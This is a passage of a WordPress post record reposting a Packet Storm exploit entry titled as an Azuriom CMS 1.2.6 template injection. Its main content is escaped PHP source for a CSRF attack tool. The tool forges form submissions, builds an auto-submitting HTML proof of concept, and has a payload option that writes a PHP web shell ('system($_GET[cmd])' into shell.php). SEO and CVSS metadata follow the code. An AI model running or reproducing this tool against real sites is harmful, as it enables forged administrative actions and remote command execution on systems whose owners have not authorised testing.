];\\n                    \\n                case &#8216;custom&#8217;:\\n                    return [\\n                        &#8216;cmd&#8217; =\\u003e &#8216;whoami&#8217;,\\n                        &#8216;exec&#8217; =\\u003e &#8216;system&#8217;,\\n                        &#8216;file&#8217; =\\u003e &#8216;shell.php&#8217;,\\n                        &#8216;content&#8217; =\\u003e &#8216;\\u003c?php system($_GET[\\&#8221;cmd\\&#8221;]); ?\\u003e&#8217;\\n                    ];\\n                    \\n                default:\\n                    return self::generate(&#8216;admin&#8217;, $url);\\n            }\\n        }\\n        \\n        public static function generate_html_poc($url, $form_data, $payload) {\\n            $html = &#8216;\\u003c!DOCTYPE html\\u003e\\n    \\u003chtml\\u003e\\n    \\u003chead\\u003e\\n        \\u003ctitle\\u003eSecurity Test Page\\u003c\/title\\u003e\\n    \\u003c\/head\\u003e\\n    \\u003cbody\\u003e\\n        \\u003ch1\\u003eCSRF Proof of Concept\\u003c\/h1\\u003e\\n        \\u003cp\\u003eThis page demonstrates a CSRF vulnerability.\\u003c\/p\\u003e\\n        \\n        \\u003cform id=\\&#8221;csrfForm\\&#8221; action=\\&#8221;&#8216; . htmlspecialchars($url) . &#8216;\\&#8221; method=\\&#8221;&#8216; . $form_data[&#8216;method&#8217;] . &#8216;\\&#8221;\\u003e&#8217;;\\n            \\n            foreach ($payload as $name =\\u003e $value) {\\n                $html .= &#8216;\\n            \\u003cinput type=\\&#8221;hidden\\&#8221; name=\\&#8221;&#8216; . htmlspecialchars($name) . &#8216;\\&#8221; value=\\&#8221;&#8216; . htmlspecialchars($value) . &#8216;\\&#8221;\\u003e&#8217;;\\n            }\\n            \\n            $html .= &#8216;\\n        \\u003c\/form\\u003e\\n        \\n        \\u003cscript\\u003e\\n            \/\/ Auto-submit after 2 seconds\\n            setTimeout(function() {\\n                document.getElementById(\\&#8221;csrfForm\\&#8221;).submit();\\n                document.getElementById(\\&#8221;status\\&#8221;).innerHTML = \\&#8221;CSRF attack executed!\\&#8221;;\\n            }, 2000);\\n        \\u003c\/script\\u003e\\n        \\n        \\u003cp id=\\&#8221;status\\&#8221;\\u003eLoading attack&#8230;\\u003c\/p\\u003e\\n        \\n        \\u003cdiv style=\\&#8221;margin-top: 20px; padding: 10px; background: #f0f0f0;\\&#8221;\\u003e\\n            \\u003ch3\\u003eDebug Information:\\u003c\/h3\\u003e\\n            \\u003cp\\u003e\\u003cstrong\\u003eTarget:\\u003c\/strong\\u003e &#8216; . htmlspecialchars($url) . &#8216;\\u003c\/p\\u003e\\n            \\u003cp\\u003e\\u003cstrong\\u003eTime:\\u003c\/strong\\u003e &#8216; . date(&#8216;Y-m-d H:i:s&#8217;) . &#8216;\\u003c\/p\\u003e\\n            \\u003cp\\u003e\\u003cstrong\\u003ePayload:\\u003c\/strong\\u003e &#8216; . htmlspecialchars(json_encode($payload)) . &#8216;\\u003c\/p\\u003e\\n        \\u003c\/div\\u003e\\n    \\u003c\/body\\u003e\\n    \\u003c\/html\\u003e&#8217;;\\n            \\n            return $html;\\n        }\\n    }\\n    \\n    \/\/ CSRF Attacker\\n    class CSRFAttacker {\\n        private $http;\\n        private $detector;\\n        \\n        public function __construct($http, $detector) {\\n            $this-\\u003ehttp = $http;\\n            $this-\\u003edetector = $detector;\\n        }\\n        \\n        public function attack($url, $payload_type) {\\n            Logger::log(\\&#8221;Initiating CSRF attack&#8230;\\&#8221;, &#8216;WARNING&#8217;);\\n            \\n            \/\/ Step 1: Scan for vulnerabilities\\n            $scan_results = $this-\\u003edetector-\\u003escan($url);\\n            \\n            if (!$scan_results[&#8216;vulnerable&#8217;]) {\\n                Logger::log(\\&#8221;Target appears to have CSRF protection. Attack may fail.\\&#8221;, &#8216;WARNING&#8217;);\\n            }\\n            \\n            \/\/ Step 2: Get forms\\n            if (empty($scan_results[&#8216;forms&#8217;])) {\\n                Logger::log(\\&#8221;No forms found on target page\\&#8221;, &#8216;ERROR&#8217;);\\n                return false;\\n            }\\n            \\n            $target_form = $scan_results[&#8216;forms&#8217;][0];\\n            \\n            \/\/ Step 3: Generate payload\\n            $payload = PayloadGenerator::generate($payload_type, $url);\\n            \\n            \/\/ Step 4: Extract token if exists\\n            if (!empty($scan_results[&#8216;tokens&#8217;])) {\\n                $token = $scan_results[&#8216;tokens&#8217;][0];\\n                if (isset($token[&#8216;name&#8217;])) {\\n                    $payload[$token[&#8216;name&#8217;]] = $token[&#8216;value&#8217;];\\n                } else {\\n                    $payload[&#8216;_token&#8217;] = $token[&#8216;value&#8217;];\\n                }\\n            }\\n            \\n            \/\/ Step 5: Execute attack\\n            Logger::log(\\&#8221;Sending malicious request to: \\&#8221; . $target_form[&#8216;action&#8217;]);\\n            \\n            $response = $this-\\u003ehttp-\\u003epost(\\n                $target_form[&#8216;action&#8217;],\\n                $payload,\\n                [],\\n                &#8216;form&#8217;\\n            );\\n            \\n            \/\/ Step 6: Analyze response\\n            $success = $this-\\u003eanalyze_response($response);\\n            \\n            if ($success) {\\n                Logger::log(\\&#8221;CSRF attack potentially SUCCESSFUL!\\&#8221;, &#8216;SUCCESS&#8217;);\\n                Logger::log(\\&#8221;HTTP Code: \\&#8221; . $response[&#8216;info&#8217;][&#8216;http_code&#8217;], &#8216;SUCCESS&#8217;);\\n                \\n                \/\/ Generate HTML PoC\\n                $html_poc = PayloadGenerator::generate_html_poc($url, $target_form, $payload);\\n                file_put_contents(&#8216;csrf_poc.html&#8217;, $html_poc);\\n                Logger::log(\\&#8221;HTML PoC saved to: csrf_poc.html\\&#8221;, &#8216;SUCCESS&#8217;);\\n            } else {\\n                Logger::log(\\&#8221;Attack may have failed\\&#8221;, &#8216;ERROR&#8217;);\\n            }\\n            \\n            return $success;\\n        }\\n        \\n        private function analyze_response($response) {\\n            $http_code = $response[&#8216;info&#8217;][&#8216;http_code&#8217;];\\n            $body = $response[&#8216;body&#8217;];\\n            \\n            \/\/ Success indicators\\n            $success_codes = [200, 201, 302, 303];\\n            $success_patterns = [\\n                &#8216;\/success\/i&#8217;,\\n                &#8216;\/created\/i&#8217;,\\n                &#8216;\/updated\/i&#8217;,\\n                &#8216;\/redirect\/i&#8217;,\\n                &#8216;\/thank you\/i&#8217;,\\n                &#8216;\/profile updated\/i&#8217;\\n            ];\\n            \\n            \/\/ Failure indicators\\n            $failure_codes = [403, 419, 401];\\n            $failure_patterns = [\\n                &#8216;\/csrf\/i&#8217;,\\n                &#8216;\/token\/i&#8217;,\\n                &#8216;\/invalid\/i&#8217;,\\n                &#8216;\/forbidden\/i&#8217;,\\n                &#8216;\/error\/i&#8217;,\\n                &#8216;\/failed\/i&#8217;\\n            ];\\n            \\n            if (in_array($http_code, $success_codes)) {\\n                \/\/ Check for success patterns\\n                foreach ($success_patterns as $pattern) {\\n                    if (preg_match($pattern, $body)) {\\n                        return true;\\n                    }\\n                }\\n                \\n                \/\/ If no explicit failure patterns, consider it successful\\n                foreach ($failure_patterns as $pattern) {\\n                    if (preg_match($pattern, $body)) {\\n                        return false;\\n                    }\\n                }\\n                \\n                return true;\\n            }\\n            \\n            return false;\\n        }\\n    }\\n    \\n    \/\/ Main Execution\\n    show_banner();\\n    \\n    \/\/ Parse arguments\\n    $params = parse_arguments($argv);\\n    \\n    \/\/ Initialize HTTP client\\n    $http = new HttpClient($params[&#8216;proxy&#8217;]);\\n    \\n    \/\/ Initialize detector and attacker\\n    $detector = new CSRFDetector($http);\\n    $attacker = new CSRFAttacker($http, $detector);\\n    \\n    Logger::log(\\&#8221;Target: \\&#8221; . $params[&#8216;url&#8217;]);\\n    Logger::log(\\&#8221;Action: \\&#8221; . $params[&#8216;action&#8217;]);\\n    Logger::log(\\&#8221;Payload: \\&#8221; . $params[&#8216;payload&#8217;]);\\n    \\n    if ($params[&#8216;action&#8217;] == &#8216;detect&#8217;) {\\n        \/\/ Detection mode\\n        Logger::log(\\&#8221;Running in DETECTION mode\\&#8221;);\\n        $results = $detector-\\u003escan($params[&#8216;url&#8217;]);\\n        \\n        echo \\&#8221;\\\\n\\&#8221; . COLOR_BOLD . \\&#8221;=== SCAN RESULTS ===\\\\n\\&#8221; . COLOR_RESET;\\n        echo \\&#8221;Vulnerable: \\&#8221; . ($results[&#8216;vulnerable&#8217;] ? COLOR_RED . \\&#8221;YES\\&#8221; : COLOR_GREEN . \\&#8221;NO\\&#8221;) . COLOR_RESET . \\&#8221;\\\\n\\&#8221;;\\n        echo \\&#8221;Protection: \\&#8221; . $results[&#8216;protection&#8217;] . \\&#8221;\\\\n\\&#8221;;\\n        echo \\&#8221;Forms Found: \\&#8221; . count($results[&#8216;forms&#8217;]) . \\&#8221;\\\\n\\&#8221;;\\n        echo \\&#8221;Tokens Found: \\&#8221; . count($results[&#8216;tokens&#8217;]) . \\&#8221;\\\\n\\&#8221;;\\n        \\n        if (!empty($results[&#8216;tokens&#8217;])) {\\n            echo \\&#8221;\\\\n\\&#8221; . COLOR_BOLD . \\&#8221;Detected Tokens:\\\\n\\&#8221; . COLOR_RESET;\\n            foreach ($results[&#8216;tokens&#8217;] as $token) {\\n                echo \\&#8221;  &#8211; Type: \\&#8221; . $token[&#8216;type&#8217;] . \\&#8221;\\\\n\\&#8221;;\\n                if (isset($token[&#8216;name&#8217;])) {\\n                    echo \\&#8221;    Name: \\&#8221; . $token[&#8216;name&#8217;] . \\&#8221;\\\\n\\&#8221;;\\n                }\\n                echo \\&#8221;    Value: \\&#8221; . substr($token[&#8216;value&#8217;], 0, 50) . \\&#8221;&#8230;\\\\n\\&#8221;;\\n            }\\n        }\\n        \\n        if (!empty($results[&#8216;forms&#8217;])) {\\n            echo \\&#8221;\\\\n\\&#8221; . COLOR_BOLD . \\&#8221;Detected Forms:\\\\n\\&#8221; . COLOR_RESET;\\n            foreach ($results[&#8216;forms&#8217;] as $i =\\u003e $form) {\\n                echo \\&#8221;  Form #\\&#8221; . ($i + 1) . \\&#8221;:\\\\n\\&#8221;;\\n                echo \\&#8221;    Action: \\&#8221; . $form[&#8216;action&#8217;] . \\&#8221;\\\\n\\&#8221;;\\n                echo \\&#8221;    Method: \\&#8221; . $form[&#8216;method&#8217;] . \\&#8221;\\\\n\\&#8221;;\\n                echo \\&#8221;    Inputs: \\&#8221; . implode(&#8216;, &#8216;, $form[&#8216;inputs&#8217;]) . \\&#8221;\\\\n\\&#8221;;\\n            }\\n        }\\n        \\n        \/\/ Generate report\\n        $report = \\&#8221;CSRF Vulnerability Scan Report\\\\n\\&#8221;;\\n        $report .= \\&#8221;=============================\\\\n\\&#8221;;\\n        $report .= \\&#8221;Target: \\&#8221; . $params[&#8216;url&#8217;] . \\&#8221;\\\\n\\&#8221;;\\n        $report .= \\&#8221;Time: \\&#8221; . date(&#8216;Y-m-d H:i:s&#8217;) . \\&#8221;\\\\n\\&#8221;;\\n        $report .= \\&#8221;Vulnerable: \\&#8221; . ($results[&#8216;vulnerable&#8217;] ? \\&#8221;YES\\&#8221; : \\&#8221;NO\\&#8221;) . \\&#8221;\\\\n\\&#8221;;\\n        $report .= \\&#8221;Protection: \\&#8221; . $results[&#8216;protection&#8217;] . \\&#8221;\\\\n\\&#8221;;\\n        $report .= \\&#8221;Risk Level: \\&#8221; . ($results[&#8216;vulnerable&#8217;] ? \\&#8221;HIGH\\&#8221; : \\&#8221;LOW\\&#8221;) . \\&#8221;\\\\n\\\\n\\&#8221;;\\n        \\n        if ($results[&#8216;vulnerable&#8217;]) {\\n            $report .= \\&#8221;RECOMMENDATIONS:\\\\n\\&#8221;;\\n            $report .= \\&#8221;1. Implement proper CSRF tokens\\\\n\\&#8221;;\\n            $report .= \\&#8221;2. Set SameSite cookie attributes\\\\n\\&#8221;;\\n            $report .= \\&#8221;3. Validate Origin\/Referer headers\\\\n\\&#8221;;\\n            $report .= \\&#8221;4. Use state-changing verbs (POST\/PUT\/DELETE)\\\\n\\&#8221;;\\n        }\\n        \\n        file_put_contents(&#8216;csrf_report.txt&#8217;, $report);\\n        Logger::log(\\&#8221;Detailed report saved to: csrf_report.txt\\&#8221;, &#8216;INFO&#8217;);\\n        \\n    } elseif ($params[&#8216;action&#8217;] == &#8216;attack&#8217;) {\\n        \/\/ Attack mode\\n        Logger::log(\\&#8221;Running in ATTACK mode\\&#8221;, &#8216;WARNING&#8217;);\\n        \\n        echo COLOR_YELLOW . \\&#8221;\\\\n[!] WARNING: This will execute actual CSRF attacks!\\\\n\\&#8221;;\\n        echo \\&#8221;[!] Only use on authorized systems!\\\\n\\&#8221;;\\n        echo \\&#8221;[!] Press Ctrl+C to abort within 5 seconds&#8230;\\\\n\\&#8221; . COLOR_RESET;\\n        \\n        sleep(5);\\n        \\n        $success = $attacker-\\u003eattack($params[&#8216;url&#8217;], $params[&#8216;payload&#8217;]);\\n        \\n        if ($success) {\\n            echo COLOR_GREEN . \\&#8221;\\\\n[+] ATTACK COMPLETED\\\\n\\&#8221; . COLOR_RESET;\\n            echo \\&#8221;Check &#8216;csrf_poc.html&#8217; for a demo exploit\\\\n\\&#8221;;\\n            echo \\&#8221;Check &#8216;successful_attacks.log&#8217; for details\\\\n\\&#8221;;\\n        } else {\\n            echo COLOR_RED . \\&#8221;\\\\n[-] ATTACK MAY HAVE FAILED\\\\n\\&#8221; . COLOR_RESET;\\n            echo \\&#8221;Check &#8216;csrf_debug.log&#8217; for error details\\\\n\\&#8221;;\\n        }\\n    }\\n    \\n    echo \\&#8221;\\\\n\\&#8221; . COLOR_BOLD . \\&#8221;=== SESSION INFORMATION ===\\\\n\\&#8221; . COLOR_RESET;\\n    echo \\&#8221;Cookies saved to: \\&#8221; . COOKIE_FILE . \\&#8221;\\\\n\\&#8221;;\\n    echo \\&#8221;Debug log: \\&#8221; . DEBUG_FILE . \\&#8221;\\\\n\\&#8221;;\\n    echo \\&#8221;Timestamp: \\&#8221; . date(&#8216;Y-m-d H:i:s&#8217;) . \\&#8221;\\\\n\\&#8221;;\\n    \\n    \/\/ Cleanup\\n    if (file_exists(&#8216;debug_response.html&#8217;)) {\\n        unlink(&#8216;debug_response.html&#8217;);\\n    }\\n    \\n    Logger::log(\\&#8221;Execution completed\\&#8221;, &#8216;INFO&#8217;);\\n    \\n    \\n    Greetings to :=====================================================================================\\n    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|\\n    ===================================================================================================&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/packetstorm.news\/download\/212768&#8243;,&#8221;cvss&#8221;:{&#8220;score&#8221;:8.8,&#8221;severity&#8221;:&#8221;HIGH&#8221;,&#8221;vector&#8221;:&#8221;CVSS:3.1\/AV:N\/AC:L\/PR:L\/UI:N\/S:U\/C:H\/I:H\/A:H&#8221;,&#8221;version&#8221;:&#8221;3.1&#8243;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/packetstorm.news\/files\/id\/212768\/&#8221;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2025-12-12T17:15:52&#8243;,&#8221;description&#8221;:&#8221;A client-side template injection vulnerability affects the Azuriom CMS Admin Dashboard in version 1.2.6. Several dashboard components widgets, plugins, and admin panels render untrusted user&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,41,12,15,13,53,7,11,5],"class_list":["post-30774","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-88","tag-exploit","tag-high","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>\ud83d\udcc4 Azuriom CMS 1.2.6 Client-Side Template Injection_PACKETSTORM:212768 - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=30774\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"\ud83d\udcc4 Azuriom CMS 1.2.6 Client-Side Template Injection_PACKETSTORM:212768 - zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2025-12-12T17:15:52&#8243;,&#8221;description&#8221;:&#8221;A client-side template injection vulnerability affects the Azuriom CMS Admin Dashboard in version 1.2.6. Several dashboard components widgets, plugins, and admin panels render untrusted user...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=30774\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2025-12-12T11:58:45+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"19 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=30774#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=30774\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"\ud83d\udcc4 Azuriom CMS 1.2.6 Client-Side Template Injection_PACKETSTORM:212768\",\"datePublished\":\"2025-12-12T11:58:45+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=30774\"},\"wordCount\":3782,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CVE\",\"CVSS\",\"CVSS-8.8\",\"exploit\",\"HIGH\",\"news\",\"packetstorm\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=30774#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=30774\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=30774\",\"name\":\"\ud83d\udcc4 Azuriom CMS 1.2.6 Client-Side Template Injection_PACKETSTORM:212768 - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2025-12-12T11:58:45+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=30774#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=30774\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=30774#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"\ud83d\udcc4 Azuriom CMS 1.2.6 Client-Side Template Injection_PACKETSTORM:212768\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"\ud83d\udcc4 Azuriom CMS 1.2.6 Client-Side Template Injection_PACKETSTORM:212768 - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=30774","og_locale":"en_US","og_type":"article","og_title":"\ud83d\udcc4 Azuriom CMS 1.2.6 Client-Side Template Injection_PACKETSTORM:212768 - zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2025-12-12T17:15:52&#8243;,&#8221;description&#8221;:&#8221;A client-side template injection vulnerability affects the Azuriom CMS Admin Dashboard in version 1.2.6. Several dashboard components widgets, plugins, and admin panels render untrusted user...","og_url":"https:\/\/zero.redgem.net\/?p=30774","og_site_name":"zero redgem","article_published_time":"2025-12-12T11:58:45+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"19 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=30774#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=30774"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"\ud83d\udcc4 Azuriom CMS 1.2.6 Client-Side Template Injection_PACKETSTORM:212768","datePublished":"2025-12-12T11:58:45+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=30774"},"wordCount":3782,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CVE","CVSS","CVSS-8.8","exploit","HIGH","news","packetstorm","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=30774#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=30774","url":"https:\/\/zero.redgem.net\/?p=30774","name":"\ud83d\udcc4 Azuriom CMS 1.2.6 Client-Side Template Injection_PACKETSTORM:212768 - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2025-12-12T11:58:45+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=30774#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=30774"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=30774#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"\ud83d\udcc4 Azuriom CMS 1.2.6 Client-Side Template Injection_PACKETSTORM:212768"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/30774","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=30774"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/30774\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=30774"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=30774"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=30774"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}